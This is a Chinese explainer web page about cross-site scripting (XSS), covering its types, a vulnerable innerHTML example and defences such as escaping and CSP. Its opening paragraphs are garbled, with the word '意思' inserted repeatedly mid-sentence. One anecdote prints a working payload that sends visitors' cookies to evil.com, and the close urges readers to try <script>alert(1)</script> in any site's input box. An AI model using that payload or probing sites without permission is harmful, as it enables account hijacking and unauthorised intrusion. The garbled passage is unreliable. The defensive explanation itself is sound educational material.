您现在的位置是:百科 >>正文
XSS是什么意思
百科7人已围观
简介你打开一个网页,在搜索框里敲了几个字,页面立刻弹出一张搞笑图片,或者突然跳转到某个莫名其妙的抽奖页面。你以为是网站抽风了,其实可能是有人在那搜索框里埋了一颗雷——这颗雷就叫XSS。 XSS的全称是Cr ...
你打开一个网页,意思在搜索框里敲了几个字,意思页面立刻弹出一张搞笑图片,意思或者突然跳转到某个莫名其妙的意思抽奖页面。你以为是意思网站抽风了,其实可能是意思有人在那搜索框里埋了一颗雷——这颗雷就叫XSS。
XSS的意思全称是Cross-Site Scripting,跨站脚本攻击。意思名字里有个“跨站”,意思是意思因为攻击者把恶意脚本注入到了你信任的网站页面里,让脚本在你访问那个网站时执行。意思脚本本身是意思JavaScript,浏览器可不管这行代码是意思谁写的,只要它在页面里,意思浏览器就老老实实跑起来。意思跑起来之后能干什么?小到弹个窗,大到偷走你的登录Cookie、冒充你去发帖、转账,甚至控制你的浏览器。
我最早接触这个概念是在一个论坛上。当时有人发帖,标题是“这个搜索功能有bug”,点进去一看,他在搜索框里输入了<script>alert(1)</script>,然后页面直接弹出了一个“1”。论坛管理员没当回事,觉得就是个弹窗。结果第二天,所有访问那个搜索页面的用户,只要登录着,就会自动发一条广告帖。管理员这才慌了。这就是典型的存储型XSS——恶意代码被存进了数据库,每个访问者都会中招。
XSS大致分三类,但不用记那么死。反射型是“你点了一个链接,脚本从URL里跑出来执行”,比如某个搜索页把搜索词直接显示在页面上,没做转义,你搜<script>...</script>,脚本就执行了。存储型更狠,脚本被存进服务器,所有看那个页面的人都遭殃。DOM型则是在浏览器端,JavaScript自己从URL里取数据,然后塞进页面,全程没经过服务器。
为什么这东西这么常见?因为很多开发者觉得“用户输入不可信”是一句废话。写代码时顺手把用户输入拼进HTML里,图省事。比如document.getElementById('msg').innerHTML = location.hash,一行代码就能制造一个DOM型XSS。浏览器不会拦你,它觉得这是你写的代码,你说了算。可问题是,攻击者也能通过URL控制location.hash。
防御XSS的核心就一条:永远不要相信用户输入。输出到HTML里,用textContent而不是innerHTML;输出到属性里,加引号并转义;输出到JavaScript里,用JSON.stringify。还有一招是内容安全策略(CSP),告诉浏览器只允许加载指定来源的脚本,内联脚本一律不跑。这招能挡住大部分XSS,但配置起来有点烦,很多网站懒得弄。
我见过一个电商网站,商品详情页的“用户评价”功能没过滤输入。有人评价里写了<img src=x onerror=fetch('//evil.com?c='+document.cookie)>,结果每个看这条评价的人,Cookie都被发到了攻击者的服务器上。攻击者拿着Cookie就能登录别人的账号,连密码都不用猜。这事后来被曝光了,网站紧急下线了评价功能,但损失已经造成了。
XSS不像SQL注入那样能直接拖库,但它更隐蔽,更容易被忽视。一个弹窗可能只是恶作剧,但一个精心构造的脚本能悄无声息地干很多事。浏览器同源策略本来是为了隔离不同网站的数据,XSS却让攻击者在你的网站里执行代码,同源策略反而成了帮凶——因为脚本来自你的网站,浏览器认为它是可信的。
下次你在某个网站输入框里随手敲点东西,不妨试试<script>alert(1)</script>。如果弹窗了,别高兴太早,那说明这个网站有XSS漏洞。如果没弹,说明开发者至少还知道转义。这行代码就像一把钥匙,能打开很多不该打开的门。
Tags:
上一篇:iphone小火箭怎么用
下一篇:渗透顾雨菲真实身份第几集
相关文章
存储cookie
百科我昨天清浏览器缓存,把所有登录状态都弄丢了。得重新输一遍密码,烦得要命。但这就是cookie的代价——它本来就是记在浏览器里的小纸条,你删了它,网站就翻脸不认人。 cookie这东西,说白了就是服务器 ...
【百科】
阅读更多宏翔三部hunk
百科《宏翔三部hunk》这个片名摆在那儿,本身就带着一股子直白劲儿。不是那种绕弯子的文艺腔,也不跟你玩隐喻。hunk这个词,在同志影像的语境里,指的就是那种体格结实、带点粗粝感的男性形象。宏翔这家公司拍片 ...
【百科】
阅读更多网络安全个人心得体会
百科```html 去年冬天,我差点把年终奖转给一个冒充公司财务的骗子。对方连我部门领导的说话习惯都模仿得惟妙惟肖,甚至知道我们刚换了新的报销系统。那一刻我才意识到,网络安全不是装个杀毒软件就能高枕无忧的 ...
【百科】
阅读更多